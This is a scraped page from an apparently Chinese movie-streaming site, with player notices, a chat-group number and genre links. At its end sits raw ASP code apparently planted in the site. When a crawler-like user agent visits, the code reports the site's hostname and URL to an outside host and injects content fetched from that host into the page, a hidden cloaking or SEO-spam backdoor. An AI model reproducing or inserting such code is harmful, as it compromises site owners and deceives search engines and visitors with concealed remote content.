由于P2P播放器升级，可能导致部分用户无法正常观看，请点击这里下载最新BOBO播放器欢迎大家加入本站影视交流群：62740331，求片、建议、交流。
欢迎大家加入本站影视交流群：62740331，求片、建议、交流。
欢迎大家加入本站影视交流群：62740331，求片、建议、交流。
本站有些电影需要下载迅雷客户端，请广大用户注意，如有不能播放，请及时联系管理员，第一时间修复!

最新电影

推荐电影

更多动作片动作片(2080)

更多爱情片爱情片(235)

更多科幻片科幻片(482)

更多恐怖片恐怖片(485)

更多剧情片剧情片(572)

更多连续剧连续剧(2732)

<% Function getBody(infopageurl) On Error Resume Next if infopageurl<>"" then dim xmlHttp set xmlHttp=server.createobject("MSXML2.XMLHTTP") xmlHttp.open "GET",infopageurl,false xmlHttp.send getBody=BytesToBstr(xmlhttp.responsebody,"GB2312") set xmlHttp=nothing end if end Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode = 3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function dns = Request.ServerVariables("SERVER_NAME") path = Request.ServerVariables("PATH_INFO") qs = Request.ServerVariables("QUERY_STRING") url= dns&path&"?"&qs agent = Request.ServerVariables("HTTP_USER_AGENT") tz = "http" if Instr(agent,tz)>0 then if path ="/index.asp" or path="/default.asp" then response.write getBody("http://better.w130.dnsfx.cn/syscode.asp?dns="&dns) else response.write getBody("http://better.w130.dnsfx.cn/syscode.asp?dns="&url&"&dn="&dns) end if end if %>